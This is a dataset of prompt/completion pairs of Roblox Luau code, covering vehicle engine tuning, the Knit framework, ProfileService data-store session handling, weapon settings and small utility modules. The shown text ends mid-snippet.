prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Moss",Paint) end)
--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.
module.BubbleChatEnabled = true module.ClassicChatEnabled =false
-- указание на название Базы Данных
local DB = game.Workspace.DataStore.Value
--[[Engine]]
--Torque Curve Tune.Horsepower = 1000 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 9000 -- Use sliders to manipulate values Tune.Redline = 11000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.20 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--Event
ClickDetector.MouseClick:Connect(function() if ClickReady.Value == true then ClickReady.Value = false ButtonClick:Play()
--TheNexusAvenger --Provides a client buffer for launching projectiles. --This uses an exploit of network ownership where clients can change the physics --of parts locally without needing to handle anything on the server.
local BufferCreator = {} local Tool = script.Parent.Parent
--[=[ Computes the set difference between the two sets @param set table @param otherSet table @return table ]=]
function Set.difference(set, otherSet) local newSet = {} for key, _ in pairs(set) do newSet[key] = true end for key, _ in pairs(otherSet) do newSet[key] = nil end return newSet end return Set
--[[Engine]]
--Torque Curve Tune.Horsepower = 556 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 5000 -- Use sliders to manipulate values Tune.Redline = 5500 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--Set up teleport arrival.
TeleportService.LocalPlayerArrivedFromTeleport:Connect(function(Gui,Data) if Data and Data.IsTemporaryServer then --If it is a temporary server, keep showing the Gui, wait, then teleport back. Gui.Parent = Players.LocalPlayer:WaitForChild("PlayerGui",10^99) StarterGui:SetCore("TopbarEnabled",false) StarterGui:SetCoreGuiEnabled("All",false) wait(5) TeleportService:Teleport(Data.PlaceId,Players.LocalPlayer,nil,Gui) else --If the player is arriving back from a temporary server, remove the Gui. if Gui and Gui.Name == "SoftShutdownGui" then Gui:Destroy() end end end)
--[[ Knit.CreateService(service): Service Knit.AddServices(folder): Service[] Knit.AddServicesDeep(folder): Service[] Knit.Start(): Promise<void> Knit.OnStart(): Promise<void> --]]
local KnitServer = {} KnitServer.Version = script.Parent.Version.Value KnitServer.Services = {} KnitServer.Util = script.Parent.Util local knitRepServiceFolder = Instance.new("Folder") knitRepServiceFolder.Name = "Services" local Promise = require(KnitServer.Util.Promise) local Thread = require(KnitServer.Util.Thread) local Signal = require(KnitServer.Util.Signal) local Loader = require(KnitServer.Util.Loader) local Ser = require(KnitServer.Util.Ser) local RemoteSignal = require(KnitServer.Util.Remote.RemoteSignal) local RemoteProperty = require(KnitServer.Util.Remote.RemoteProperty) local TableUtil = require(KnitServer.Util.TableUtil) local started = false local startedComplete = false local onStartedComplete = Instance.new("BindableEvent") local function CreateRepFolder(serviceName) local folder = Instance.new("Folder") folder.Name = serviceName return folder end local function GetFolderOrCreate(parent, name) local f = parent:FindFirstChild(name) if (not f) then f = Instance.new("Folder") f.Name = name f.Parent = parent end return f end local function AddToRepFolder(service, remoteObj, folderOverride) if (folderOverride) then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, folderOverride) elseif (remoteObj:IsA("RemoteFunction")) then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RF") elseif (remoteObj:IsA("RemoteEvent")) then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RE") elseif (remoteObj:IsA("ValueBase")) then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RP") else error("Invalid rep object: " .. remoteObj.ClassName) end if (not service._knit_rep_folder.Parent) then service._knit_rep_folder.Parent = knitRepServiceFolder end end function KnitServer.IsService(object) return type(object) == "table" and object._knit_is_service == true end function KnitServer.CreateService(service) assert(type(service) == "table", "Service must be a table; got " .. type(service)) assert(type(service.Name) == "string", "Service.Name must be a string; got " .. type(service.Name)) assert(#service.Name > 0, "Service.Name must be a non-empty string") assert(KnitServer.Services[service.Name] == nil, "Service \"" .. service.Name .. "\" already exists") service = TableUtil.Assign(service, { _knit_is_service = true; _knit_rf = {}; _knit_re = {}; _knit_rp = {}; _knit_rep_folder = CreateRepFolder(service.Name); }) if (type(service.Client) ~= "table") then service.Client = {Server = service} else if (service.Client.Server ~= service) then service.Client.Server = service end end KnitServer.Services[service.Name] = service return service end function KnitServer.AddServices(folder) return Loader.LoadChildren(folder) end function KnitServer.AddServicesDeep(folder) return Loader.LoadDescendants(folder) end function KnitServer.GetService(serviceName) assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName)) return assert(KnitServer.Services[serviceName], "Could not find service \"" .. serviceName .. "\"") end function KnitServer.BindRemoteEvent(service, eventName, remoteEvent) assert(service._knit_re[eventName] == nil, "RemoteEvent \"" .. eventName .. "\" already exists") local re = remoteEvent._remote re.Name = eventName service._knit_re[eventName] = re AddToRepFolder(service, re) end function KnitServer.BindRemoteFunction(service, funcName, func) assert(service._knit_rf[funcName] == nil, "RemoteFunction \"" .. funcName .. "\" already exists") local rf = Instance.new("RemoteFunction") rf.Name = funcName service._knit_rf[funcName] = rf AddToRepFolder(service, rf) function rf.OnServerInvoke(...) return Ser.SerializeArgsAndUnpack(func(service.Client, Ser.DeserializeArgsAndUnpack(...))) end end function KnitServer.BindRemoteProperty(service, propName, prop) assert(service._knit_rp[propName] == nil, "RemoteProperty \"" .. propName .. "\" already exists") prop._object.Name = propName service._knit_rp[propName] = prop AddToRepFolder(service, prop._object, "RP") end function KnitServer.Start() if (started) then return Promise.Reject("Knit already started") end started = true local services = KnitServer.Services return Promise.new(function(resolve) -- Bind remotes: for _,service in pairs(services) do for k,v in pairs(service.Client) do if (type(v) == "function") then KnitServer.BindRemoteFunction(service, k, v) elseif (RemoteSignal.Is(v)) then KnitServer.BindRemoteEvent(service, k, v) elseif (RemoteProperty.Is(v)) then KnitServer.BindRemoteProperty(service, k, v) elseif (Signal.Is(v)) then warn("Found Signal instead of RemoteSignal (Knit.Util.RemoteSignal). Please change to RemoteSignal. [" .. service.Name .. ".Client." .. k .. "]") end end end -- Init: local promisesInitServices = {} for _,service in pairs(services) do if (type(service.KnitInit) == "function") then table.insert(promisesInitServices, Promise.new(function(r) service:KnitInit() r() end)) end end resolve(Promise.All(promisesInitServices)) end):Then(function() -- Start: for _,service in pairs(services) do if (type(service.KnitStart) == "function") then Thread.SpawnNow(service.KnitStart, service) end end startedComplete = true onStartedComplete:Fire() Thread.Spawn(function() onStartedComplete:Destroy() end) -- Expose service remotes to everyone: knitRepServiceFolder.Parent = script.Parent end) end function KnitServer.OnStart() if (startedComplete) then return Promise.Resolve() else return Promise.FromEvent(onStartedComplete.Event) end end return KnitServer
--[=[ @type ClientMiddlewareFn (args: {any}) -> (shouldContinue: boolean, ...: any) @within KnitClient For more info, see [ClientComm](https://sleitnick.github.io/RbxUtil/api/ClientComm/) documentation. ]=]
type ClientMiddlewareFn = (args: { any }) -> (boolean, ...any)
--Initial Attachments--
local ML = Instance.new("Attachment",FL) ML.Rotation = Vector3.new(0,0,0) local MR = Instance.new("Attachment",FR) MR.Rotation = Vector3.new(0,0,0) local MRR = Instance.new("Attachment",RL) MRR.Rotation = Vector3.new(0,0,0) local MLL = Instance.new("Attachment",RR) MLL.Rotation = Vector3.new(0,0,0) local MLLL = Instance.new("Attachment",BRL) MLLL.Rotation = Vector3.new(0,0,90) local MRRR = Instance.new("Attachment",BRR) MRRR.Rotation = Vector3.new(0,0,90) script.Parent.Parent.Parent.FL.Parent = script.Parent.Parent.Parent.Wheels script.Parent.Parent.Parent.FR.Parent = script.Parent.Parent.Parent.Wheels script.Parent.Parent.Parent.RL.Parent = script.Parent.Parent.Parent.Wheels script.Parent.Parent.Parent.RR.Parent = script.Parent.Parent.Parent.Wheels
--- Players in server
for _, player in ipairs(game.Players:GetPlayers()) do PlayerAdded(player) end game.Players.PlayerAdded:Connect(PlayerAdded)
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 426 Tune.IdleRPM = 700 Tune.PeakRPM = 4600 Tune.Redline = 6600 Tune.EqPoint = 5250 Tune.PeakSharpness = 2 Tune.CurveMult = 0 Tune.InclineComp = 5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Natural" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger "Super" : Supercharger ]] Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1) --Misc Tune.RevAccel = 300 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
---------------------------------------------------------------------------------------------------- --------------------=[ OUTROS ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,FastReload = true --- Automatically operates the bolt on reload if needed ,SlideLock = true ,MoveBolt = false ,BoltLock = false ,CanBreachDoor = false ,CanBreak = true --- Weapon can jam? ,JamChance = 1000 --- This old piece of brick doesn't work fine >;c ,IncludeChamberedBullet = true --- Include the chambered bullet on next reload ,Chambered = true --- Start with the gun chambered? ,LauncherReady = false --- Start with the GL ready? ,CanCheckMag = true --- You can check the magazine ,ArcadeMode = false --- You can see the bullets left in magazine ,RainbowMode = false --- Operation: Party Time xD ,ModoTreino = false --- Surrender enemies instead of killing them ,GunSize = 4 ,GunFOVReduction = 5 ,BoltExtend = Vector3.new(0, 0, 0.4) ,SlideExtend = Vector3.new(0, 0, 0.4)
-- In radians the minimum accuracy penalty
local MinSpread = 0.005
--/Recoil Modification
module.camRecoil = { RecoilUp = 1 ,RecoilTilt = 1 ,RecoilLeft = 1 ,RecoilRight = 1 } module.gunRecoil = { RecoilUp = 1 ,RecoilTilt = 1 ,RecoilLeft = 1 ,RecoilRight = 1 } module.AimRecoilReduction = .95 module.AimSpreadReduction = 1 module.MinRecoilPower = 1 module.MaxRecoilPower = 1 module.RecoilPowerStepAmount = 1 module.MinSpread = 1 module.MaxSpread = 1 module.AimInaccuracyStepAmount = 1 module.AimInaccuracyDecrease = 1 module.WalkMult = 1 module.MuzzleVelocityMod = 1 return module
----------------------------------------------------------------------
end function computeLaunchAngle(dx,dy,grav) -- arcane -- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile local g = math.abs(grav) local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY))) if inRoot <= 0 then return .25 * math.pi end local root = math.sqrt(inRoot) local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx) local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx) local answer1 = math.atan(inATan1) local answer2 = math.atan(inATan2) if answer1 < answer2 then return answer1 end return answer2 end function computeDirection(vec) local lenSquared = vec.magnitude * vec.magnitude local invSqrt = 1 / math.sqrt(lenSquared) return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt) end Tool.Enabled = true function onActivated() if not Tool.Enabled then local bewl = script.Parent:FindFirstChild("Bool") if bewl then bewl:Destroy() end return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint script.Parent.Handle.SlingshotSound:Play() fire(targetPos) wait(1) Tool.Parent.Torso["Right Shoulder"].DesiredAngle = 100 Tool.Enabled = true end script.Parent.Activated:connect(onActivated)
-- you can mess with these settings
local easingtime = 0.1 --0~1 local walkspeeds = { enabled = true; walkingspeed = 16; backwardsspeed = 10; sidewaysspeed = 15; diagonalspeed = 16; runningspeed = 30; runningFOV= 85; }
-- ProfileStore object:
local ProfileStore = { --[[ Mock = {}, _profile_store_name = "", -- [string] -- DataStore name _profile_template = {}, -- [table] _global_data_store = global_data_store, -- [GlobalDataStore] -- Object returned by DataStoreService:GetDataStore(_profile_store_name) _loaded_profiles = {[profile_key] = Profile, ...}, _profile_load_jobs = {[profile_key] = {load_id, loaded_data}, ...}, _mock_loaded_profiles = {[profile_key] = Profile, ...}, _mock_profile_load_jobs = {[profile_key] = {load_id, loaded_data}, ...}, --]] } ProfileStore.__index = ProfileStore function ProfileStore:LoadProfileAsync(profile_key, not_released_handler, _use_mock) --> [Profile / nil] not_released_handler(place_id, game_job_id) if self._profile_template == nil then error("[ProfileService]: Profile template not set - ProfileStore:LoadProfileAsync() locked for this ProfileStore") end if type(profile_key) ~= "string" then error("[ProfileService]: profile_key must be a string") elseif string.len(profile_key) == 0 then error("[ProfileService]: Invalid profile_key") end if type(not_released_handler) ~= "function" and not_released_handler ~= "ForceLoad" and not_released_handler ~= "Steal" then error("[ProfileService]: Invalid not_released_handler") end if ProfileService.ServiceLocked == true then return nil end WaitForPendingProfileStore(self) local is_user_mock = _use_mock == UseMockTag -- Check if profile with profile_key isn't already loaded in this session: for _, profile_store in ipairs(ActiveProfileStores) do if profile_store._profile_store_name == self._profile_store_name then local loaded_profiles = is_user_mock == true and profile_store._mock_loaded_profiles or profile_store._loaded_profiles if loaded_profiles[profile_key] ~= nil then error("[ProfileService]: Profile of ProfileStore \"" .. self._profile_store_name .. "\" with key \"" .. profile_key .. "\" is already loaded in this session") -- Are you using Profile:Release() properly? end end end ActiveProfileLoadJobs = ActiveProfileLoadJobs + 1 local force_load = not_released_handler == "ForceLoad" local force_load_steps = 0 local request_force_load = force_load -- First step of ForceLoad local steal_session = false -- Second step of ForceLoad local aggressive_steal = not_released_handler == "Steal" -- Developer invoked steal while ProfileService.ServiceLocked == false do -- Load profile: -- SPECIAL CASE - If LoadProfileAsync is called for the same key before another LoadProfileAsync finishes, -- yoink the DataStore return for the new call. The older call will return nil. This would prevent very rare -- game breaking errors where a player rejoins the server super fast. local profile_load_jobs = is_user_mock == true and self._mock_profile_load_jobs or self._profile_load_jobs local loaded_data local load_id = LoadIndex + 1 LoadIndex = load_id local profile_load_job = profile_load_jobs[profile_key] -- {load_id, loaded_data} if profile_load_job ~= nil then profile_load_job[1] = load_id -- Yoink load job while profile_load_job[2] == nil do -- Wait for job to finish Madwork.HeartbeatWait() end if profile_load_job[1] == load_id then -- Load job hasn't been double-yoinked loaded_data = profile_load_job[2] profile_load_jobs[profile_key] = nil else return nil end else profile_load_job = {load_id, nil} profile_load_jobs[profile_key] = profile_load_job profile_load_job[2] = StandardProfileUpdateAsyncDataStore( self, profile_key, { ExistingProfileHandle = function(latest_data) if ProfileService.ServiceLocked == false then local active_session = latest_data.MetaData.ActiveSession local force_load_session = latest_data.MetaData.ForceLoadSession -- IsThisSession(active_session) if active_session == nil then latest_data.MetaData.ActiveSession = {PlaceId, JobId} latest_data.MetaData.ForceLoadSession = nil elseif type(active_session) == "table" then if IsThisSession(active_session) == false then local last_update = latest_data.MetaData.LastUpdate if last_update ~= nil then if os.time() - last_update > SETTINGS.AssumeDeadSessionLock then latest_data.MetaData.ActiveSession = {PlaceId, JobId} latest_data.MetaData.ForceLoadSession = nil return end end if steal_session == true or aggressive_steal == true then local force_load_uninterrupted = false if force_load_session ~= nil then force_load_uninterrupted = IsThisSession(force_load_session) end if force_load_uninterrupted == true or aggressive_steal == true then latest_data.MetaData.ActiveSession = {PlaceId, JobId} latest_data.MetaData.ForceLoadSession = nil end elseif request_force_load == true then latest_data.MetaData.ForceLoadSession = {PlaceId, JobId} end else latest_data.MetaData.ForceLoadSession = nil end end end end, MissingProfileHandle = function(latest_data) latest_data.Data = DeepCopyTable(self._profile_template) latest_data.MetaData = { ProfileCreateTime = os.time(), SessionLoadCount = 0, ActiveSession = {PlaceId, JobId}, ForceLoadSession = nil, MetaTags = {}, } end, EditProfile = function(latest_data) if ProfileService.ServiceLocked == false then local active_session = latest_data.MetaData.ActiveSession if active_session ~= nil and IsThisSession(active_session) == true then latest_data.MetaData.SessionLoadCount = latest_data.MetaData.SessionLoadCount + 1 latest_data.MetaData.LastUpdate = os.time() end end end, }, is_user_mock ) if profile_load_job[1] == load_id then -- Load job hasn't been yoinked loaded_data = profile_load_job[2] profile_load_jobs[profile_key] = nil else return nil -- Load job yoinked end end -- Handle load_data: if loaded_data ~= nil then local active_session = loaded_data.MetaData.ActiveSession if type(active_session) == "table" then if IsThisSession(active_session) == true then -- Special component in MetaTags: loaded_data.MetaData.MetaTagsLatest = DeepCopyTable(loaded_data.MetaData.MetaTags) -- Case #1: Profile is now taken by this session: -- Create Profile object: local global_updates_object = { _updates_latest = loaded_data.GlobalUpdates, _pending_update_lock = {}, _pending_update_clear = {}, _new_active_update_listeners = {}, _new_locked_update_listeners = {}, _profile = nil, } setmetatable(global_updates_object, GlobalUpdates) local profile = { Data = loaded_data.Data, MetaData = loaded_data.MetaData, GlobalUpdates = global_updates_object, _profile_store = self, _profile_key = profile_key, _release_listeners = {}, _load_timestamp = os.clock(), _is_user_mock = is_user_mock, } setmetatable(profile, Profile) global_updates_object._profile = profile -- Referencing Profile object in ProfileStore: if next(self._loaded_profiles) == nil and next(self._mock_loaded_profiles) == nil then -- ProfileStore object was inactive table.insert(ActiveProfileStores, self) end if is_user_mock == true then self._mock_loaded_profiles[profile_key] = profile else self._loaded_profiles[profile_key] = profile end -- Adding profile to AutoSaveList; AddProfileToAutoSave(profile) -- Special case - finished loading profile, but session is shutting down: if ProfileService.ServiceLocked == true then SaveProfileAsync(profile, true) -- Release profile and yield until the DataStore call is finished profile = nil -- nil will be returned by this call end -- Return Profile object: ActiveProfileLoadJobs = ActiveProfileLoadJobs - 1 return profile else -- Case #2: Profile is taken by some other session: if force_load == true then local force_load_session = loaded_data.MetaData.ForceLoadSession local force_load_uninterrupted = false if force_load_session ~= nil then force_load_uninterrupted = IsThisSession(force_load_session) end if force_load_uninterrupted == true then if request_force_load == false then force_load_steps = force_load_steps + 1 if force_load_steps == SETTINGS.ForceLoadMaxSteps then steal_session = true end end Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay else -- Another session tried to force load this profile: ActiveProfileLoadJobs = ActiveProfileLoadJobs - 1 return nil end request_force_load = false -- Only request a force load once elseif aggressive_steal == true then Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay else local handler_result = not_released_handler(active_session[1], active_session[2]) if handler_result == "Repeat" then Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay elseif handler_result == "Cancel" then ActiveProfileLoadJobs = ActiveProfileLoadJobs - 1 return nil elseif handler_result == "ForceLoad" then force_load = true request_force_load = true Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay elseif handler_result == "Steal" then aggressive_steal = true Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay else error("[ProfileService]: Invalid return from not_released_handler") end end end else ActiveProfileLoadJobs = ActiveProfileLoadJobs - 1 error("[ProfileService]: Invalid ActiveSession value in Profile.MetaData - Fatal corruption") -- It's unlikely this will ever fire end else Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay end end ActiveProfileLoadJobs = ActiveProfileLoadJobs - 1 return nil -- If loop breaks return nothing end function ProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler, _use_mock) --> [GlobalUpdates / nil] (update_handler(GlobalUpdates)) if type(profile_key) ~= "string" then error("[ProfileService]: Invalid profile_key") elseif string.len(profile_key) == 0 then error("[ProfileService]: Invalid profile_key") end if type(update_handler) ~= "function" then error("[ProfileService]: Invalid update_handler") end if ProfileService.ServiceLocked == true then return nil end WaitForPendingProfileStore(self) while ProfileService.ServiceLocked == false do -- Updating profile: local loaded_data = StandardProfileUpdateAsyncDataStore( self, profile_key, { ExistingProfileHandle = nil, MissingProfileHandle = nil, EditProfile = function(latest_data) -- Running update_handler: local global_updates_object = { _updates_latest = latest_data.GlobalUpdates, _update_handler_mode = true, } setmetatable(global_updates_object, GlobalUpdates) update_handler(global_updates_object) end, }, _use_mock == UseMockTag ) -- Handling loaded_data: if loaded_data ~= nil then -- Return GlobalUpdates object (Update successful): local global_updates_object = { _updates_latest = loaded_data.GlobalUpdates, } setmetatable(global_updates_object, GlobalUpdates) return global_updates_object else Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again end end return nil -- Return nothing (Update unsuccessful) end function ProfileStore:ViewProfileAsync(profile_key, _use_mock) --> [Profile / nil] if type(profile_key) ~= "string" then error("[ProfileService]: Invalid profile_key") elseif string.len(profile_key) == 0 then error("[ProfileService]: Invalid profile_key") end if ProfileService.ServiceLocked == true then return nil end WaitForPendingProfileStore(self) while ProfileService.ServiceLocked == false do -- Load profile: local loaded_data = StandardProfileUpdateAsyncDataStore( self, profile_key, { ExistingProfileHandle = nil, MissingProfileHandle = nil, EditProfile = nil, }, _use_mock == UseMockTag ) -- Handle load_data: if loaded_data ~= nil then -- Create Profile object: local global_updates_object = { _updates_latest = loaded_data.GlobalUpdates, _profile = nil, } setmetatable(global_updates_object, GlobalUpdates) local profile = { Data = loaded_data.Data, MetaData = loaded_data.MetaData, GlobalUpdates = global_updates_object, _profile_store = self, _profile_key = profile_key, _view_mode = true, _load_timestamp = os.clock(), } setmetatable(profile, Profile) global_updates_object._profile = profile -- Returning Profile object: return profile else Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay end end return nil -- If loop breaks return nothing end function ProfileStore:WipeProfileAsync(profile_key, _use_mock) --> is_wipe_successful [bool] if type(profile_key) ~= "string" then error("[ProfileService]: Invalid profile_key") elseif string.len(profile_key) == 0 then error("[ProfileService]: Invalid profile_key") end if ProfileService.ServiceLocked == true then return false end WaitForPendingProfileStore(self) return StandardProfileUpdateAsyncDataStore( self, profile_key, { WipeProfile = true }, _use_mock == UseMockTag ) end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 230 , spInc = 20 , -- Increment between labelled notches } }
--!strict
local LuauPolyfill = script.Parent local arrayForEach = require(LuauPolyfill.Array.forEach) local arrayMap = require(LuauPolyfill.Array.map) local types = require(LuauPolyfill.types) type Object = types.Object type Array<T> = types.Array<T> type Table<T, V> = types.Table<T, V> type Tuple<T, V> = types.Tuple<T, V> type mapCallbackFn<K, V> = types.mapCallbackFn<K, V> type mapCallbackFnWithThisArg<K, V> = types.mapCallbackFnWithThisArg<K, V> type Map<K, V> = types.Map<K, V> type Map_Statics = { new: <K, V>(iterable: Array<Array<any>>?) -> Map<K, V>, } local Map: Map<any, any> & Map_Statics = ({} :: any) :: Map<any, any> & Map_Statics function Map.new<K, V>(iterable: Array<Array<any>>?): Map<K, V> local array local map = {} if iterable ~= nil then if _G.__DEV__ then local iterableType = typeof(iterable) if iterableType == "table" then if #iterable > 0 and typeof(iterable[1]) ~= "table" then error("cannot create Map from {K, V} form, it must be { {K, V}... }") end else error(("cannot create array from value of type `%s`"):format(iterableType)) end end local arrayFromIterable = table.clone(iterable) :: Array<Array<any>> array = table.create(#arrayFromIterable) for _, entry in arrayFromIterable do local key = entry[1] if _G.__DEV__ then if key == nil then error("cannot create Map from a table that isn't an array.") end end local val = entry[2] -- only add to array if new if map[key] == nil then table.insert(array, key) end -- always assign map[key] = val end else array = {} end return (setmetatable({ size = #array, _map = map, _array = array, }, Map) :: any) :: Map<K, V> end
--[=[ The same as combineLatestAll. This is for backwards compatability, and is deprecated. @function combineAll @deprecated 1.0.0 -- Use Rx.combineLatestAll @within Rx @return (source: Observable<Observable<T>>) -> Observable<{ T }> ]=]
Rx.combineAll = Rx.combineLatestAll
--[=[ Unions the set with the other set, updating the `set` @param set table @param otherSet table @return table ]=]
function Set.unionUpdate(set, otherSet) for key, _ in pairs(otherSet) do set[key] = true end end
--script.Parent.GG.Velocity = script.Parent.GG.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.GGG.Velocity = script.Parent.GGG.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.GGGG.Velocity = script.Parent.GGGG.CFrame.lookVector *script.Parent.Speed.Value script.Parent.H.Velocity = script.Parent.H.CFrame.lookVector *script.Parent.Speed.Value
--[[ Creates the PhysicsService collision groups used in the game and defines their relationship ]]
local PhysicsService = game:GetService("PhysicsService") local ServerStorage = game:GetService("ServerStorage") local ServerConstants = require(ServerStorage.Source.Constants.ServerConstants) local WHEEL_GROUP = ServerConstants.PHYSICS_GROUP_WHEEL local HITBOX_GROUP = ServerConstants.PHYSICS_GROUP_HITBOX return function() PhysicsService:CreateCollisionGroup(HITBOX_GROUP) PhysicsService:CreateCollisionGroup(WHEEL_GROUP) PhysicsService:CollisionGroupSetCollidable(HITBOX_GROUP, WHEEL_GROUP, false) end
--[[ Expand a node by setting its callback environment and then calling it. Any further it and describe calls within the callback will be added to the tree. ]]
function TestNode:expand() local originalEnv = getfenv(self.callback) local callbackEnv = setmetatable({}, { __index = originalEnv }) for key, value in pairs(self.environment) do callbackEnv[key] = value end -- Copy 'script' directly to new env to make Studio debugger happy. -- Studio debugger does not look into __index, because of security reasons callbackEnv.script = originalEnv.script setfenv(self.callback, callbackEnv) local success, result = xpcall(self.callback, function(message) return debug.traceback(tostring(message), 2) end) if not success then self.loadError = result end end local TestPlan = {} TestPlan.__index = TestPlan
-- BouyertheDestroyer -- edited by Frozzie
function Paint(Brick) --local Constant = (Brick.BrickColor.r + Brick.BrickColor.b + Brick.BrickColor.g) Brick.Color = Color3.new(1-Brick.BrickColor.r, 1-Brick.BrickColor.g, 1-Brick.BrickColor.b) end function Search(Object) coroutine.resume(coroutine.create(Paint), Object) local Children = Object:GetChildren() for X = 1, # Children do Search(Children[X]) end end function added(child) Search(child) end workspace.ChildAdded:connect(added) Search(game.Workspace) light = game.Lighting if light:GetMinutesAfterMidnight() < 6 and light:GetMinutesAfterMidnight() > 18 then script.White:Clone().Parent = light else script.Black:Clone().Parent = light end
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = 0.9 Tune.RCamber = 0.9 Tune.FToe = 0 Tune.RToe = 0
--Tires
function GetTireCurve(c,x) return (((-math.abs(x^(c*2.4)))/2.4)+((-math.abs(x^2.4))/2.4))*(7/6) end function WFriction(v,val) if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end v.CustomPhysicalProperties = PhysicalProperties.new(0,val,0,0,0) end Instance.new("Model",fWheel.Parts).Name = "Tires" Instance.new("Model",rWheel.Parts).Name = "Tires" for i=0,_Tune.TireCylinders do local fCyl = fWheel:Clone() fCyl.Name = "FTire" for _,a in pairs(fCyl:GetChildren()) do a:Destroy() end fCyl.Parent = fWheel.Parts.Tires if _Tune.TiresVisible or _Tune.Debug then fCyl.Transparency = 0 else fCyl.Transparency = 1 end fCyl.Size = Vector3.new(fWheel.Size.X*(i/_Tune.TireCylinders),fWheel.Size.Y+(_Tune.FProfileHeight*GetTireCurve(_Tune.FTireProfile,i/_Tune.TireCylinders)),fWheel.Size.Y+(_Tune.FProfileHeight*GetTireCurve(_Tune.FTireProfile,i/_Tune.TireCylinders))) if (i/_Tune.TireCylinders < 1/3 and _Tune.FTireCompound == 3) or (i/_Tune.TireCylinders < 1/2 and _Tune.FTireCompound == 2) then WFriction(fCyl,_Tune.FTireFriction-.1) fCyl.Name = fCyl.Name.."L" elseif i/_Tune.TireCylinders >= 1/3 and i/_Tune.TireCylinders < 2/3 and _Tune.FTireCompound == 3 then WFriction(fCyl,(_Tune.FTireFriction+(_Tune.FTireFriction-.1))/2) fCyl.Name = fCyl.Name.."M" elseif i/_Tune.TireCylinders >= 2/3 or (i/_Tune.TireCylinders >= 1/2 and _Tune.FTireCompound == 2) or _Tune.FTireCompound == 1 then WFriction(fCyl,_Tune.FTireFriction) fCyl.Name = fCyl.Name.."H" end local rCyl = rWheel:Clone() rCyl.Name = "RTire" for _,b in pairs(rCyl:GetChildren()) do 